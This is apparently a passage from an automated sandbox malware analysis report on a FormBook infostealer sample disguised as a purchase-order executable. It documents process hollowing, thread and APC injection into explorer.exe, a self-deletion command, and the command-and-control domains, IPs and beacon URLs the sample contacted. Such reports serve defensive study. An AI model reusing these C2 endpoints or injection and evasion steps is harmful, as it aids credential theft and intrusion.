Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C061A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C061A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C569A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C949A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C949A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C949A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C949A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C551BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C551BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C551BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C551BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF4120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDC962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFB944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFB944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C02ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C02AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0FAB0 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\PO 367628usa.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\raserver.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\PO 367628usa.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.bridgestreetresources.com
Source: C:\Windows\explorer.exe	Domain query: www.uuoouu-90.store
Source: C:\Windows\explorer.exe	Domain query: www.patricksparber.com
Source: C:\Windows\explorer.exe	Domain query: www.servantsheartvalet.com
Source: C:\Windows\explorer.exe	Domain query: www.meucamarimoficial.com
Source: C:\Windows\explorer.exe	Network Connect: 66.235.200.147 80
Source: C:\Windows\explorer.exe	Domain query: www.m-kenterprises.com
Source: C:\Windows\explorer.exe	Network Connect: 156.253.106.229 80
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80
Source: C:\Windows\explorer.exe	Network Connect: 209.182.202.96 80

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\PO 367628usa.exe

Memory written: C:\Users\user\Desktop\PO 367628usa.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\PO 367628usa.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\PO 367628usa.exe	Section loaded: unknown target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write
Source: C:\Users\user\Desktop\PO 367628usa.exe	Section loaded: unknown target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\PO 367628usa.exe	Thread register set: target process: 3440
Source: C:\Windows\SysWOW64\raserver.exe	Thread register set: target process: 3440

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\PO 367628usa.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\PO 367628usa.exe

Section unmapped: C:\Windows\SysWOW64\raserver.exe base address: 950000

Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PO 367628usa.exe'

Source: explorer.exe, 00000006.00000002.590088493.0000000000EE0000.00000002.00000001.sdmp, raserver.exe, 00000009.00000002.590224656.0000000003460000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000002.590088493.0000000000EE0000.00000002.00000001.sdmp, raserver.exe, 00000009.00000002.590224656.0000000003460000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000002.590088493.0000000000EE0000.00000002.00000001.sdmp, raserver.exe, 00000009.00000002.590224656.0000000003460000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: explorer.exe, 00000006.00000002.590088493.0000000000EE0000.00000002.00000001.sdmp, raserver.exe, 00000009.00000002.590224656.0000000003460000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PO 367628usa.exe	Queries volume information: C:\Users\user\Desktop\PO 367628usa.exe VolumeInformation
Source: C:\Users\user\Desktop\PO 367628usa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\PO 367628usa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\PO 367628usa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\PO 367628usa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\PO 367628usa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation

Source: C:\Users\user\Desktop\PO 367628usa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.PO 367628usa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 367628usa.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.PO 367628usa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 367628usa.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Masquerading1	Input Capture1	Security Software Discovery321	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection612	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information4	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing13	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PO 367628usa.exe	36%	Virustotal		Browse
PO 367628usa.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.PO 367628usa.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File
0.2.PO 367628usa.exe.4b0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
servantsheartvalet.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.bridgestreetresources.com/meub/?5jYHTPD=wcKMzz9mAcCi2aLb0t1qtV86GlMNvZH+VyhKA1jT/I4bq+nb0/na/dj3wGs+8qrOUrJA87J5aQ==&W2MTZ=5jyDHn6x2rY	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.m-kenterprises.com/meub/?5jYHTPD=AHOwzMgiYatzzgqEm8fFrRw5FyeBXJPWAn72SIj91D3zxHtkj2kvoxgZPNykIH4K/OrW/jgvcw==&W2MTZ=5jyDHn6x2rY	0%	Avira URL Cloud	safe
http://servermanager.miixit.org/index_ru.htmlc	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.servantsheartvalet.com/meub/?5jYHTPD=WGLirrwFUtYpDXzpLjvBuZZEIXcS0L/7kvp4uO4ypDpemvycQ/ZH3e36klWLP588DVSUgz18wg==&W2MTZ=5jyDHn6x2rY	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://servermanager.miixit.org/index_ru.html	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://servermanager.miixit.org/report/reporter_index.php?name=	0%	Avira URL Cloud	safe
http://servermanager.miixit.org/1	0%	Avira URL Cloud	safe
www.uuoouu-90.store/meub/	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.patricksparber.com/meub/?5jYHTPD=q/3go0TMrjOOicJ8yyeZoSSUK4YYViZWgar0VOI0LAyS1IHPJrhhqQPM	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://servermanager.miixit.org/downloads/	0%	Avira URL Cloud	safe
http://servermanager.miixit.org/hits/hit_index.php?k=	0%	Avira URL Cloud	safe
http://www.shadyshainarae.com/meub/?5jYHTPD=IF6wwdQ2GC/v5+zeo737nU5N5nLUvdsVBqkfZ3TmK32/J3TLHA8Ym95CSjw9+1sG86DK55WYOQ==&W2MTZ=5jyDHn6x2rY	0%	Avira URL Cloud	safe
http://www.patricksparber.com/	0%	Avira URL Cloud	safe
http://www.patricksparber.com/K	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
servantsheartvalet.com	209.182.202.96	true	true	0%, Virustotal, Browse	unknown
www.patricksparber.com	156.253.106.229	true	true		unknown
bridgestreetresources.com	66.235.200.147	true	true		unknown
m-kenterprises.com	34.102.136.180	true	false		unknown
shadyshainarae.com	34.102.136.180	true	false		unknown
ext-sq.squarespace.com	198.185.159.144	true	false		high
www.bridgestreetresources.com	unknown	unknown	true		unknown
www.uuoouu-90.store	unknown	unknown	true		unknown
www.shadyshainarae.com	unknown	unknown	true		unknown
www.sherwooddaydesigns.com	unknown	unknown	true		unknown
www.servantsheartvalet.com	unknown	unknown	true		unknown
www.meucamarimoficial.com	unknown	unknown	true		unknown
www.m-kenterprises.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.bridgestreetresources.com/meub/?5jYHTPD=wcKMzz9mAcCi2aLb0t1qtV86GlMNvZH+VyhKA1jT/I4bq+nb0/na/dj3wGs+8qrOUrJA87J5aQ==&W2MTZ=5jyDHn6x2rY	true	Avira URL Cloud: safe	unknown
http://www.m-kenterprises.com/meub/?5jYHTPD=AHOwzMgiYatzzgqEm8fFrRw5FyeBXJPWAn72SIj91D3zxHtkj2kvoxgZPNykIH4K/OrW/jgvcw==&W2MTZ=5jyDHn6x2rY	false	Avira URL Cloud: safe	unknown
http://www.servantsheartvalet.com/meub/?5jYHTPD=WGLirrwFUtYpDXzpLjvBuZZEIXcS0L/7kvp4uO4ypDpemvycQ/ZH3e36klWLP588DVSUgz18wg==&W2MTZ=5jyDHn6x2rY	true	Avira URL Cloud: safe	unknown
www.uuoouu-90.store/meub/	true	Avira URL Cloud: safe	low
http://www.shadyshainarae.com/meub/?5jYHTPD=IF6wwdQ2GC/v5+zeo737nU5N5nLUvdsVBqkfZ3TmK32/J3TLHA8Ym95CSjw9+1sG86DK55WYOQ==&W2MTZ=5jyDHn6x2rY	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000006.00000002.589360759.000000000095C000.00000004.00000020.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://servermanager.miixit.org/index_ru.htmlc	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://checkip.dyndns.org/	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CJU3DBQXBUQPC	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://servermanager.miixit.org/index_ru.html	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://servermanager.miixit.org/report/reporter_index.php?name=	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://servermanager.miixit.org/1	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.patricksparber.com/meub/?5jYHTPD=q/3go0TMrjOOicJ8yyeZoSSUK4YYViZWgar0VOI0LAyS1IHPJrhhqQPM	raserver.exe, 00000009.00000002.589940302.0000000002F43000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PO 367628usa.exe, 00000000.00000002.346748080.0000000002EB0000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CJU3DBQXBUQPC5http://servermana	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false		high
http://servermanager.miixit.org/downloads/	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://servermanager.miixit.org/hits/hit_index.php?k=	PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.patricksparber.com/	raserver.exe, 00000009.00000002.589924154.0000000002F3C000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.patricksparber.com/K	raserver.exe, 00000009.00000002.589924154.0000000002F3C000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
156.253.106.229	www.patricksparber.com	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
34.102.136.180	m-kenterprises.com	United States	15169	GOOGLEUS	false
209.182.202.96	servantsheartvalet.com	United States	22611	IMH-WESTUS	true
66.235.200.147	bridgestreetresources.com	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	412247
Start date:	12.05.2021
Start time:	14:42:17
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 21s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	PO 367628usa.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
